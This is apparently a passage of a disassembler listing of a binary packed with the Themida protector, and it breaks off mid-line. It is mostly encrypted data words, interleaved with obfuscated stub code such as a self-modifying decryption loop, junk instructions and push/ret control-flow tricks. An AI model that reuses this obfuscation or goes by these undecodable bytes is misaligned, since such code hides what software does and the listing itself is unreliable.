61533179h dd 46h, 360FDC02h, 0FD49C9A4h, 6C4A8E12h, 0A1250082h, 0A7C67F5Dh dd 0D37AD6E5h, 1B92D76Fh, 115AB187h, 0E2B1498Dh, 0FF7E1662h dd 20FB7EA6h, 88D65530h, 0D1A482F0h, 21FB57A9h, 770E18Fh dd 11000000h, 1BCE3h, 0FDC3E00h, 4D289E36h, 0ECA583CBh dd 3BA89CAh, 116F9770h, 888A12B5h, 302Ah, 0FDCCB00h, 26599E36h dd 0EC03BA89h, 0BC8B2369h, 0EC5AF23Ah, 9F377F01h, 2DACD413h dd 0D0517952h, 942C72F5h, 318D4826h, 0A6888A18h, 56h, 360FDC47h dd 0E51853A4h, 906B7AD6h, 0F0E5C311h, 9245F98Ch, 7EA6D7A1h dd 0F640C622h, 0EA684301h, 0B694029Ah, 2DC4h, 0FDC6500h dd 1A53A436h, 5E7AD6E5h, 79FB53FAh, 0D6E5C528h, 0F3D1357Ah dd 0A708843Eh, 83C5217Fh, 73A01F6h, 0DB000000h, 11CE3h dd 0EEE33E00h, 2B000000h, 0A684D050h, 360FDCCFh, 145C9A4h dd 0E2BD3323h, 0A8291464h, 7A58C65Eh, 86A6F5C1h, 3860392Fh dd 0A63F7CD8h, 9F1EF9ACh, 0AD817351h, 22000000h, 0A4360FDCh dd 0E59AD122h, 0F907AD6h, 0E6C428C5h, 0E540ABFCh, 41C37AD6h dd 0D6E5FDF0h, 0BB99FD7Ah dd 0EDAB26C6h, 822F9097h, 0F41B60F8h, 0BE5AF604h, 0B25CF43Ch dd 0F11C7520h, 0BC3E299Eh, 550CDC74h, 7DCD4B2Dh, 4D2818F3h dd 0D1A482CCh, 43FB57A9h, 0C278E1D6h, 0E2C2830h, 0F8F7A36h dd 43F3E5C3h, 81000000h, 8BFAEFFh, 57BB5AF6h, 0FDCA279h dd 1853A436h, 607AD6E5h, 0C8F6AFCh, 67B82EC6h, 7AD6E504h dd 0A8861074h, 0C85C73B8h, 4D2617F6h, 0C91A9C25h, 17F6C8A2h dd 0D99472D6h, 94D6567Dh, 7F2h, 3AE39300h, 3E000000h, 0BA3EF6Fh dd 0D6E5A2C6h, 2E56017Ah, 9A7ECA4Ah, 360FDCCFh, 7B916C8Fh dd 77A0F21Ah, 7E7AD6E8h, 0D6E83E2Dh, 4CD63A7Ah, 0F67690E9h dd 0FEF70301h, 0E3A4FFFFh, 272h, 0A3EF6F3Eh, 0FBC3C0Bh dd 0D5B9438Fh, 8406400Bh, 4B36A43Ch, 7BE981C9h, 920E5FF1h dd 0E17CFEE4h, 8625E82Bh, 0B6941964h, 4FC55DC1h, 0C8A6F674h dd 0FE56D80Fh, 0E109E27Ch, 0CDD1338Fh, 43A8FBh, 0DC490000h dd 55A63811h, 7CFEF1D7h, 65EDCA1h, 0FEF0B6B5h, 0D45EC27Ch dd 7A6DB24Ah, 407CFEF0h, 85E13F67h, 2FBCE6Ah, 0E488684Ch dd 0E6C4D554h, 0ABF4h, 0AF008200h, 7CFE6BBCh, 0BA3ED6Eh dd 0BE9C009Dh, 0A3EF6FE7h, 2F3E8F11h, 567AD6E5h, 0D6E5E605h dd 11AE127Ah, 1460D671h, 0B03A76CEh, 9413E2D2h, 5FDFAE46h dd 2CAC7B13h, 0D74FFCE0h, 437AD6FDh, 0C99377C3h, 873CE9FEh dd 23BB0B89h, 8121EFB5h, 6ABB4DD7h, 7CFCBFCCh, 0DFBA4CB0h dd 0F72E1260h, 85862A78h, 0C2024EE0h, 4A397F2h, 99160000h dd 0A92C6347h, 0CA487F63h, 0DD5F967Ah, 0FB7AB195h, 9914C9ADh dd 331765E4h, 503478FCh, 6A4E9819h, 8367B333h, 81EC3D8Bh dd 0F97CFBBFh, 0EDC88526h, 0FF42206Eh, 174E3280h, 9C674B97h dd 7567EF6Fh, 1FBF67B2h, 0D147DF69h, 47EFFE4Fh, 0A70B7AD6h dd 0BA0686C9h, 68410CD6h, 176420D6h, 0CB419358h, 3A00D58Ah dd 0A3818F15h, 25AC68B9h, 21D77CFEh, 16ACB02Eh, 159782A9h dd 96FAEFCDh, 2EB4B9FEh, 71CA7CFFh, 0FC11DC49h, 6B9AD422h dd 6CBC3A19h, 16DC66D4h, 95917959h, 67F9834Ah, 0D7227E16h dd 4DA7A7Ah, 3DB63840h, 0ECFF50E2h, 0C768482h, 703A1EA8h dd 0B83ACCA5h, 8286E536h, 8EF27684h, 0D2B0F7B0h, 64C870A9h dd 2979F7D2h, 5B452391h, 59AA0280h, 68A95212h, 9D89AF3Dh dd 7613DBE5h, 9DB2B90Ah, 62C668A9h, 0BD6A4ED8h, 68A99DA0h dd 2676F4CFh, 0FF42208Eh, 753D37Eh, 0BA529A1Ch, 1BDEC24Ch dd 4Ah, 0E5F6F976h, 62297AD6h, 0E8669D81h, 50451C5Ch, 0FD182524h dd 8E5F2547h, 0DA72FC3Fh, 0D6785695h, 274FA07Ah, 8F73C341h dd 0B55D6B1h, 1F69EA2Dh, 782E4287h, 81047AD6h, 55D4A33Bh dd 0A4E36F07h, 6407FD7Ch, 91DB5C3Ch, 0EE6FE2ADh, 0E5204B9Ch dd 93587AD6h, 0BF2DC515h, 4413AB35h, 62E179C3h, 8607E109h dd 0B8AB583Ch, 0D37AD6F7h, 0F6721770h, 0FF8B8A01h, 3D18FFFFh dd 62D870BEh, 0D6EFDA11h, 30BA1E7Ah, 0EDC87B52h, 0FE411F6Fh dd 0CB9A327Eh, 511BFF4Bh, 0CA1BAD86h, 7CFEE4EEh, 96D52692h dd 0E27CFEE7h, 175CF47Eh, 7CFEE7D0h, 791157DAh, 48E028AAh dd 0C14870C9h, 9D1BF6E6h, 6947B54Dh, 0B6126E96h, 2BFBCE81h dd 44h, 3811DCCCh, 51A224A6h, 7AD6E51Ah, 631CFA5Eh, 7CFEF1C9h dd 6EB34BAFh, 7CFEF07Bh, 0CC64B231h, 0F0E60556h, 0AE127CFEh dd 62FA40C3h, 0DBC71393h, 9B1CFC24h, 13ECC751h, 6B3995EBh dd 0F4AEFBCEh, 4F000000h, 1067EF6Fh, 0EBA2C644h, 0F8F344D6h dd 7AD6A5h, 0AB7A129Ch, 0D046DE2Ch, 0A5EEFD4Eh, 0A60A7AD6h dd 0B90585C8h, 86D25221h, 0A13DF5A2h, 69E97AD6h, 0B8098B1Dh dd 7AD6A0B5h, 478361C5h, 610E8E69h, 920098DEh, 24027008h dd 7D1561E1h, 0FDAE2C07h, 13AB3579h, 26F1C7A5h, 0A0F9F445h dd 9D017AD6h, 5AE434B2h, 8E2577C8h, 0CF337CFEh, 651A873Dh dd 0F09C7CD4h, 20129BDAh, 704ED8CBh, 0C69F6A34h, 8FD75934h dd 6A45C7B1h, 0BD0EA0E8h, 7CFECDAEh, 0CF8866CAh, 7AD4685Dh dd 4A25B71Bh, 62997DCBh, 24F195E3h, 37087613h, 1DB0C67h dd 0D14E0000h, 0E1649B7Fh, 280B79Bh, 1597CEB2h, 33B2E9CDh dd 614C01E5h, 6B4F9D1Ch, 886CB034h, 0A286D051h, 0BB9FEB6Bh dd 0C92475C3h, 317CFBB8h, 0F06FBD5Eh, 0DD75C141h, 7853E56Fh dd 0A715ADF7h, 0D6568DC9h, 0DCDBA68Ah, 55A63811h, 7CFEF1D7h dd 89E435A1h, 0F17CFEF0h, 0EF71038Dh, 0FEF04F9Eh, 6947AB7Ch dd 30810379h, 7CFEF03Dh, 0AEF6783Dh, 401EA816h, 0FEF06087h dd 59815A7Ch, 0CE6AAB07h, 0BD20FBh, 6FC10000h, 3C0BA3EFh dd 92D76FBDh, 7AD6E190h, 0D6BA0686h, 529C1DF8h, 1D6DEBBAh dd 0F272B593h, 0E2980EA6h, 36D9BA61h, 0D25540A5h, 0A886F48Ch dd 9C2E07D2h, 0FEC5714Bh, 0B637127Ch, 6289DA6Ch, 967CFED9h dd 0FB5F5432h, 0A9824D17h, 7BC5C617h, 0A17C7AD4h, 0D240D81Eh dd 401E64E7h, 7A55E74Bh, 92C9ADFBh, 0FE21C513h, 71087623h dd 0E746A1h, 0DD5A0000h, 0ED70A78Bh, 0E8CC3A7h, 21A3DABEh dd 3FBEF5D9h, 55580DF1h, 775BA928h, 9478BC40h, 0AE92DC5Dh dd 0C7ABF777h, 3D3081CFh, 3D7CFBBBh, 0F06FC96Ah, 0DD5A10A2h dd 623F8DE6h, 0FA5D90E1h, 399D7AD6h, 0FA42C4AFh, 29A9E01Ch dd 6F2EF9DDh, 3611A3EFh, 66D46CB4h, 49C99888h, 844F19FDh dd 9DC819ABh, 9D7CFBB5h, 52D2A139h, 0F1DC22A5h, 0B89C2670h dd 23B50181h, 0B41D50A1h, 0F95D7CFBh, 0DAB52B1Bh, 9A50D25Ah dd 9F186B0Ch, 310F7D15h, 0DC190778h, 668E4348h, 3C7A0282h dd 0EF16B0B5h, 0DD14F882h, 0A47F115Dh, 0AFAD824h, 0DF71B93Bh dd 0A0388404h, 6092D92Ah, 82E64082h, 448A0DF8h, 0A2F37666h dd 9A1CF77Ah, 60F2F94Ah, 0A2064082h, 27128018h, 55C35BA7h dd 68B43477h, 81CD4D84h, 38EE9h, 6CE90000h, 0A0F26FB5h dd 6DB93908h, 3B8506D5h, 0C50D4A3h, 0D826A574h, 0A4F27140h dd 73BB3D0Ch, 3E8E0CDBh, 0E54D7A6h, 8D68ED76h, 89000077h dd 8953243Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h, 243C895Ch dd 8904EC83h, 51562414h, 253154B9h, 0CBC18119h, 81117966h dd 8D7E2FE1h, 0FAC9815Ch, 8110DB74h, 0B22BEBE9h, 59CE8912h dd 545EF789h, 8324148Bh, 565304C4h, 0C16582BEh, 7AEE8121h dd 8921C165h, 0D3015EF3h, 0FF5B3B89h, 815A2434h, 4C4h dd 2434FF00h, 4C4835Fh, 0FBE545E9h, 0ADD806FFh, 4C1A1CCDh dd 9FB4662Bh, 5F21B8CBh, 0C503062Dh, 0FAF4E0FFh, 94011C15h dd 0BA261BAEh, 0C02B1F61h, 9A4008E6h, 56AF4C0Bh, 7E17EFCh dd 0CAF67859h, 0A1FA63DAh, 0FF1837B7h, 26A740B9h, 4CA1837h dd 96C17745h, 4A962562h, 0BC871955h, 3A540EB9h, 56E360AFh dd 0F4F63881h, 0DF84190Fh, 0D89D7A12h, 0CA3A597Eh, 10B7287Bh dd 8D8D0259h, 62D60B3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 48C35747h, 158D89C1h, 66062807h, 0C74D5BBAh dd 2821BD85h, 5D3C06h, 0A9BB6600h, 3D85C7C3h, 62811h, 1000000h dd 280F99BDh, 0BDB5FF06h, 8B062826h, 0D995FFF3h, 6A062814h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 1F72C357h, 25558AA8h, 0B7CDB693h, 880FD58Ah dd 1Dh, 11E8h, 7A2C2F00h, 0A2EEB467h, 0E8ED512h, 88167643h dd 830F2F5Ch, 0 ; --------------------------------------------------------------------------- pop esi push 0 call dword ptr [ebp+6280465h] mov eax, eax jmp short loc_59F426 ; --------------------------------------------------------------------------- db 0BCh, 0F6h, 0AFh dd 7410CCC7h, 0BB9436F9h, 1A5C996h, 65AD2065h, 5FA83A84h dd 68E1A926h, 0AC26B8F5h, 317D19F2h, 96F0BF58h db 0A0h, 6 ; --------------------------------------------------------------------------- loc_59F426: ; CODE XREF: Themida_:0059F3FBj call sub_59F43C adc esp, 0FFFFFFC9h fild dword ptr [ecx+903FE0Dh] out 78h, al cmpsb shl byte ptr [edi-24h], cl ; --------------------------------------------------------------------------- dw 378Eh ; =============== S U B R O U T I N E ======================================= sub_59F43C proc near ; CODE XREF: Themida_:loc_59F426p sub si, 0BA37h pop edx mov ebx, [ebp+6283471h] add edx, 72DAh mov esi, [ebp+6281911h] sub ecx, ecx jmp loc_59F468 ; --------------------------------------------------------------------------- align 4 adc edi, ecx dec ebx push cs db 36h inc ebx sahf push ss and [ecx+ecx*2+6Ah], dh loc_59F468: ; CODE XREF: sub_59F43C+1Aj ; sub_59F43C+9Aj push dword ptr [ecx+edx] mov [ebp+62806E5h], ebx pop eax or [ebp+6281979h], esi sub eax, 562ED4B5h jmp loc_59F493 ; --------------------------------------------------------------------------- db 0D9h dd 3293215Fh, 8AAEC550h, 7962D77Bh db 0ABh, 63h, 9 ; --------------------------------------------------------------------------- loc_59F493: ; CODE XREF: sub_59F43C+42j xor eax, 11E998A0h mov edi, ecx sub eax, 4596F6EFh pusha mov ax, 93A2h mov esi, 715C12A1h popa push eax mov [ebp+6281D41h], ebx pop dword ptr [edx+ecx] mov esi, eax sub ecx, 70615EFFh mov ebx, [ebp+6282941h] add ecx, 70615EFBh add edi, [ebp+6282331h] cmp ecx, 0FFFF8DE8h jnz loc_59F468 jmp loc_59F4F1 ; --------------------------------------------------------------------------- db 8Ch, 9Dh, 72h dd 0E1DD7211h, 40F79554h, 37539BFBh db 68h ; --------------------------------------------------------------------------- loc_59F4F1: ; CODE XREF: sub_59F43C+A0j jmp loc_59F513 ; --------------------------------------------------------------------------- dw 0E2F6h dd 1670h, 5 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_59F513: ; CODE XREF: sub_59F43C:loc_59F4F1j jmp loc_59FAD1 ; --------------------------------------------------------------------------- dd 0C9463C0Dh, 7CF9F7C5h, 2DAAAC78h, 0E4615729h, 981513E0h dd 2BF8C995h, 0DDACB02Dh, 976266E3h, 44141895h, 17A7CD4Ah dd 5EF26BB1h, 0C53A0D79h, 0F11610E0h, 0F572703Dh, 22721F1h dd 18847E4Eh, 938A52B8h, 20AE7F73h, 59ED5355h, 0AE7CA290h dd 2FD98BB0h, 0E212C124h, 0B88E2288h, 525420EAh, 32575120h dd 0E5BFE44Ah, 5E2EB46Dh, 18E3E764h, 6DB8784Ah, 0DA7F819Bh dd 685075DBh, 21478502h, 4A325751h, 53A078DEh, 12D47F73h dd 0FDDA87Eh, 361E4341h, 28F7ABD0h, 8A55092Eh, 56B16388h dd 3E9C8A1Ah, 80824E80h, 5B14765Bh, 8DB357A1h, 0B8A0C5BBh dd 0E56B2424h, 4CAC181Ah, 73C536E6h, 0EC80427Fh, 0FDF7C7CBh dd 0C531E4D8h, 0E9E57F73h, 424C7030h, 2684D416h, 5E1BE87Ch dd 58BB3183h, 4Eh, 1610E085h, 34E44AAAh, 407F7393h, 2D21EA7Eh dd 7F7393E9h, 2BFB212Dh, 90240C31h, 1F5AD790h, 97BB312Fh dd 1, 1412E0C4h, 6F6D3BEFh, 64365C4Ah, 706E3C6Eh, 723406DCh dd 9B83A8A2h, 0BE361035h, 0B3B17F05h, 68623236h, 13E082EBh dd 0DE02F015h, 0F9377F03h, 13E97DA7h, 6E224745h, 0CD81A69Ch dd 10DC01FFh, 0C409C37Ch, 1AE76D26h, 0BA8AB01Ch, 70B2CC0h dd 0C1477337h, 0E31309DBh, 0F75C899h, 9C6A36EAh, 6CD2CCh dd 0AFAD7AA0h, 732F9F3Dh, 43D7997Fh, 0D131877Ah, 732FAD6Bh dd 7105C77Fh, 4E3BB871h, 68BB31E9h, 0BCh, 22FA60C0h, 567F7355h dd 0A6C50094h, 9338E046h, 0B03C7F73h, 0A6D4281Ah, 10A40A09h dd 3696D3Ah, 7F7310D5h, 12379D5Fh, 6B90925Eh, 0DA601991h dd 8E920F0Dh, 0B09EC3C1h, 72AEE48Ch, 64F819F4h, 0CAFCBC8Eh dd 7A407C6Fh, 0CAEE5AC0h, 0EA507B56h, 7F738C32h, 1B548446h dd 38019565h, 96BBB584h, 0F31812E2h, 39F3AC0Eh, 9C982C8h dd 871B11E3h, 3133CFBAh, 76E7BBh, 0DF3F0000h, 7383A379h dd 918B5B7Fh, 827C4BD9h, 7B0F755Dh, 1513E040h, 0B4B483A9h dd 73938E4Eh, 82E8AA7Fh, 0A309755Dh, 7F739375h, 0E0A93DFFh dd 0C193612Ch, 23F2A6CBh, 385DC329h, 0B238F153h, 16AE7E5h dd 7C4812E0h, 84A8147Ah, 0D8011655h, 0D59E321Ah, 73F93EE1h dd 0B0D6E27Fh, 0ABEE3E5h, 48DC4238h, 67128F48h, 2BBB3199h dd 12373905h, 1AA962Ah, 0D7000000h, 0ED1214E0h, 4A6F6939h dd 0AB31EA7Eh, 0AB71D7DFh, 537F7393h, 45D38B81h, 0AD137977h dd 486D4030h, 8CAB76DCh, 0BCD755Bh, 0FA6A7B9Fh, 6921131Ah dd 88580CD5h, 3D0D118Eh, 0F42A1E43h, 0DD795BC7h, 20B9476Bh dd 0D3AB153h, 0D51023DDh, 2EC2C240h, 1FEF752Eh, 0D4A4A825h dd 3101B5DAh, 399F9D6Bh, 3F9F4D14h, 22F721Bh, 23955AB7h dd 795B9BF5h, 2929BD7Fh, 541AEA70h, 0B61C8886h, 795B9B66h dd 7EEA5012h, 0ED8B435Ah, 0FDF22220h, 2D93FF98h, 795B7AEFh dd 1233C789h, 5A186217h, 6AD030C1h, 795B66B2h, 847004C6h dd 144h, 421F4B1h, 40123898h, 0A93D254Ah, 5B5E3093h, 0DDD66275h dd 733A0D98h, 0F9ADD238h, 9FC32F29h, 0C62C3F54h, 795BDE16h dd 2306022h, 522D9C4Fh, 65B66559h, 464A6BFFh, 0A3577C76h dd 476DD9D3h, 1DE67A7Ch, 779C9E69h, 0D4F9F3C3h, 3F5880E6h dd 1ADC795Bh, 0C9833CD0h, 6D2DE684h, 587D7747h, 3606DC70h dd 0B5C4BF3Ch, 0DDC159DBh, 0C5EAECB7h, 315D49DDh, 8A000000h dd 96021FF4h, 7393C830h, 0C5EAACFFh, 73930BD1h, 661F83FFh dd 96021FF4h, 7393C830h, 7EEAAC7Fh, 678C8A58h, 7FE5E7B3h dd 9DC3CAEBh, 0CA000000h, 38E046A6h, 3C7F7393h, 5124E67Ah dd 9310C82Eh, 62247F73h, 0F72A90FCh, 89755BB4h, 1EEEA2C7h dd 0D3A3A724h, 8CAF6DD3h, 7C9795Bh, 688E7CA1h, 8D759A9Ch dd 8D2EE3F9h, 3799795Bh, 2E28F87Eh, 0C5EEC1B1h, 9E643359h dd 0C4ACD1D3h, 0E551395Eh, 5BB3597Fh, 8519DB79h, 519C0F75h dd 0FCBE7308h, 595323D7h, 9EC46834h, 0C5ADD2D0h, 0A0C5C793h dd 6B2424B8h, 91FD26F9h, 110DCB31h, 65277326h, 0D84B2035h dd 0F78B9D2Dh, 8F6187E7h, 7CEF0599h, 9E797591h, 7A4A70DCh dd 62CBEC80h, 6B3821F4h, 0FA60486Dh, 10C82E8Eh, 247F7393h dd 25293262h, 0E71CE3B9h, 6ADD4353h, 8C75203Eh, 98FE5ECAh dd 795E2340h, 300032F4h, 25D9A236h, 0DADE5B55h, 0F7EB100Ah dd 893DB83Eh, 58B44BCh, 0BABE3B35h, 0DDCBF0EAh, 8D87577Dh dd 0CE0E8068h, 6A69F8A9h, 0EA0F11DCh, 0CA309C02h, 69F8A912h dd 0FAD06426h, 590D3228h, 0B5698E8Ch, 535520E6h, 0BBE0462Eh dd 0E8A25BEFh, 0CB510A9Eh, 6F9501FBh, 0EC0DA1A3h, 0F91E18E8h dd 0C42h, 87507400h, 5BC9713h, 87EB26BAh, 190FE03Ah, 767040F4h dd 0D0D29D51h, 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h dd 9EA06C20h, 0F9F7C579h, 0D768FFD4h, 89000000h, 0EC81242Ch dd 4, 68243489h, 4B2h, 53241C89h, 0A654C768h, 0EB815B0Fh dd 978F2F4h, 24348153h, 5A0E1EF6h, 0F6F6815Eh, 5B5A0E1Eh dd 241C8B54h, 5604C483h, 17A8B850h, 44011015h, 8F580424h dd 6B810843h, 1517A808h, 241C8B10h, 81E28952h, 4C2h, 4C28100h dd 87000000h, 8B5C2414h, 89562434h, 4C681E6h, 81000000h dd 4C6h, 24348700h, 1853E95Ch, 8D9BFFFBh db 31h ; --------------------------------------------------------------------------- loc_59FAD1: ; CODE XREF: sub_59F43C:loc_59F513j mov eax, 62D6705h add eax, ebp jmp eax sub_59F43C endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0DFD7h dd 421C57CEh, 4944347Eh, 3DB802A0h, 1E7F48E7h, 0ADFB1A8Bh dd 0F2B87C51h, 1D7C41BAh, 5F725390h, 0D59A039Fh, 0B67139E2h dd 2BC74EE9h, 0C0EE065Eh, 50130AABh, 0F1631B48h, 0B331570Eh dd 6A460DE5h, 9DD66553h, 6D9611C7h, 457E1BCDh, 73802FD9h dd 0DA6371A6h, 0CE4C7F8Fh, 1F8234BDh, 0FB84150Ah, 0ACE9190Fh dd 0C581BE8h, 0C68714E0h, 18763A77h, 99426E39h, 8D8D66CCh dd 62D6881h, 18159D89h, 8D890628h, 6280715h, 21BD85C7h dd 5F740628h, 9D890000h, 6281D71h, 0BEFB0FBBh, 3D85C72Ch dd 62811h, 66000000h, 0FFCF36BEh, 281115B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0FFE0B2D5h, 2814D995h, 95296006h, 6280491h, 0D5B58B61h dd 6A062816h, 6595FF00h, 8B062804h, 0B079EBC0h, 35824FAEh dd 0CD6965B0h, 0E78C4520h, 29566057h, 4B932860h, 0ED5C26A8h dd 1A18D7C1h, 0DF1BBD50h, 733AD1C1h, 82996FD0h, 0FCDD4F8Fh dd 73EC4410h, 85E5BD62h, 0BE351818h, 6C567D1Ch, 28B11ADBh dd 1985CCCAh, 160696AEh, 9BE51318h, 892C7495h, 0D914668Bh dd 92364F82h, 16753170h, 8EBE17CDh, 0E59BD561h, 42267693h dd 0C5F9057Fh, 0EB4B44CDh, 0B42ED4E2h, 0F26A3BC7h, 0CED9D8Dh dd 2AB80628h, 89000000h, 28126585h, 0E806h, 5580000h, 0Dh dd 2AE90389h, 0 dd 9 dup(77E600h), 0FF77E600h, 578D8DFFh, 6A062D6Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 83EEC352h, 88D2C16Eh, 8D89DAF8h, 6280715h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 35C35646h, 2DB533DFh dd 0C706282Ch, 2821BD85h, 6D9C06h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 85C72EF0h dd 628113Dh, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_59FD1F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59FD1F proc near ; CODE XREF: Themida_:0059FD17p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_59FD1F endp ; --------------------------------------------------------------------------- db 6Eh ; --------------------------------------------------------------------------- push 89ABB058h test ds:0FF062811h, ebp mov ch, 0A9h and ch, [eax] push es push 0 push ebp call sub_59FD4B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59FD4B proc near ; CODE XREF: Themida_:0059FD43p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_59FD4B endp ; --------------------------------------------------------------------------- db 65h dd 4E2855EFh, 14D995FFh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 5C0548C3h, 602BE6FAh dd 1061B589h, 0B5890628h, 6280D49h, 0FF006A61h, 28046595h dd 0EBC08B06h, 0E32E5D39h, 7194C50h, 0BDA5FDF3h, 9F8DF15Eh dd 6945172Ah, 0D2B02CEDh, 0E3EC9401h, 2D4CC4CEh, 0AE84C9A7h dd 0CD51ACDBh, 0E80A0298h, 7CD2AD27h, 0CA7E00ACh, 1A473B42h dd 4BE94785h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0FB14C353h, 0E880F3Fh dd 60000000h, 7E9h, 7C24E400h, 836385BEh, 55B58D61h, 0F062D6Bh dd 786h, 8B666000h, 61A0B3FBh, 0A6858DF5h, 6A062B47h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0E169C351h, 7497ECA8h, 0C0F6026h, 18F0Fh, 0FFF80000h dd 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 3AA8EF82h, 6AC3F5h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 85ED38C3h, 8C66BE50h dd 11E9FCD9h, 54000000h, 0E4277936h, 0E09C52DBh, 18BC9634h dd 0EB9D67C9h, 0F04C1F6h, 4984h, 0CE900h, 0A8E20000h, 7BE0A9D7h dd 0BC2781B5h, 0FB8B3EBBh, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh dd 49D78BF9h, 0EBD98Bh, 13F20CDh, 0C00B0001h, 708D1874h dd 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh dd 0CF000000h, 0E9F88B60h, 14h, 0A3EBEA85h, 0D94B22E6h dd 0B819074Fh, 39309B7Ah, 61247730h, 85C7F561h, 62D6BA1h dd 1013Fh, 0AE8h, 0A578100h, 0FE67542Bh, 0F0D16B5h, 38Eh dd 0C1BF0F00h, 0FE95Eh, 428C0000h, 9C8071DDh, 4BD0CFCEh dd 0CCA841B7h, 0ECC68163h, 8100006Bh, 70DD8DD7h, 0FDB2B44h dd 34FFC0B7h, 4840F33h, 66000000h, 592D87BFh, 30CCE981h dd 0AE92C50h, 69000000h, 809DFABDh, 0E9C14708h, 2AE98153h dd 0F81BA937h, 5126F181h, 8B6615BBh, 870F51D7h, 4, 43ECB866h dd 0B01E048Fh, 66BA6642h, 1EB8312h, 4BFB8B66h, 0FB814B4Bh dd 0FFFF94DCh, 1B850Fh, 0F600000h, 8166D6BFh, 61BCB1E2h dd 28E9h, 5EC05200h, 709ACB9Eh, 0E70C8FC9h, 11E680D7h dd 0FFFF81E9h, 0B162FFh, 69DC388Dh, 0B9FD9F96h, 7A56E3F4h dd 6DDA1989h, 60EB6Eh, 17h dup(0) dd 0E9000000h, 0A96h, 0A8AE9h, 749B6800h, 0A6E9062Dh, 68FFFB12h dd 62D7584h, 0FB129CE9h, 75EB68FFh, 92E9062Dh, 96FFFB12h dd 4E52CFC5h, 1058280h, 0B2B63335h, 696DEAE0h, 1E219E9Ch dd 0B6B48170h, 6C663539h, 1E20EBEFh, 0D3CD9DA1h, 3AA03056h dd 795EFEE2h, 0E04EC396h, 87AB1711h, 31B4FEA8h, 32FB8FA9h dd 49431250h, 0F8F8C8CCh, 73574A92h, 0ABA5747Fh, 0A6CB31F3h dd 2527F2h, 221CEC12h, 0AB8115FDh, 5076E2DCh, 775F8482h dd 99661AE3h, 57E92F95h, 0C98B7F73h, 3D1F763h, 0F4A87105h dd 50042927h, 0F61C887Eh, 0AEFE2E24h, 758ADC75h, 7529F286h dd 0CE82A7A9h, 3DDD0200h, 77DD496Ah, 752069E3h, 83E34F11h dd 878C755Fh, 0EAD2AEBAh, 392C2D0h, 0FE57958h, 0D6C64341h dd 1177E300h, 795E9EC7h, 153BA769h, 75DB4749h, 795E9EA7h dd 0B27B0FD1h, 36B2A0C4h, 3A99ACCCh, 0E515B9B7h, 1EB20F30h dd 17E7848h, 0DFFD63C3h, 0DF795EF0h, 5ED1214h, 0BCF78B4Dh dd 7F1610E0h, 1DF4D4EDh, 9E6E9400h, 95D510A4h, 23A0E92Ch dd 4416BE31h, 43000000h, 69001DF4h, 939840A6h, 0DA9C7F73h dd 0CA764A6Eh, 60C700ACh, 80A691CCh, 0A991B6B0h, 7FA50515h dd 0A290B5AFh, 73939C3Ch, 70D6987Fh, 12E0A1DCh, 6A577D14h dd 403182A6h, 2C5CAE61h, 26BF98h, 0F4C60000h, 0A669001Dh dd 0EEC0E646h, 935686F8h, 20E27F73h, 93A6768Ch, 35E17F73h dd 6B02686Ah, 12E01BA6h, 6A577D14h, 980421F4h, 930AD238h dd 6C2E7F73h, 0EF62C8D8h, 5D755B80h, 6C4A1839h, 5BC0D606h dd 70A06279h, 0B04460E4h, 796D9254h, 795BB7A7h, 44CC905Fh dd 34A8D21Eh, 0C7799E04h, 7518D104h, 0D1A1D3E8h, 52E6B2D7h dd 0DDA51599h, 61D55DD3h, 8B448AFBh, 59CE6B0Eh, 1544BC1h dd 0A6780000h, 9338E046h, 7A3C7F73h, 314E24E6h, 93B15FC5h dd 0F1B37F73h, 4E4818CCh, 10E068D1h, 0D4ED7F16h, 69001DF4h dd 82A62C95h, 4F7025E2h, 918DDF44h, 5A6C5989h, 54BAB082h dd 4596F3C0h, 4B20BE31h, 4D000000h, 69001DF4h, 80E646A6h dd 7F739358h, 81834EDCh, 9349AF1Bh, 0A57F7393h, 0E3394FE3h dd 957F7393h, 46A63CD3h, 0F7F1C0E6h, 0A078EAD2h, 0D47F7393h dd 1214E012h, 12E0437Eh, 6A577D14h, 23DDh, 19E90F00h, 251BED1Fh dd 1DF45691h, 40A66900h, 7F739398h, 0A634CBABh, 1412E01Bh dd 0B8B282A8h, 6A57E924h, 95011EF4h, 73931D2Fh, 98BD7F7Fh dd 9D1A14E4h, 0AE82A634h, 16A0E485h, 4616EC80h, 0D4EDB54Ch dd 69001DF4h, 0A0E92C95h, 16BE3123h, 39h, 7C7A486Eh, 1DF4ADE8h dd 80A66900h, 1121B5B3h, 0C2BC8BB1h, 93C0182Eh, 0B2747F73h dd 0E01BA61Bh, 232F4A12h, 713D6DE3h, 6A57740Bh, 3CDDh dd 17E90F00h, 8014FC21h, 341DF445h, 6A016769h, 939840A6h dd 0C4E87F73h, 72959681h, 0CE9ED0E1h, 13F340D4h, 0E01BA67Ch dd 84A81412h, 0CD569940h, 722C5D94h, 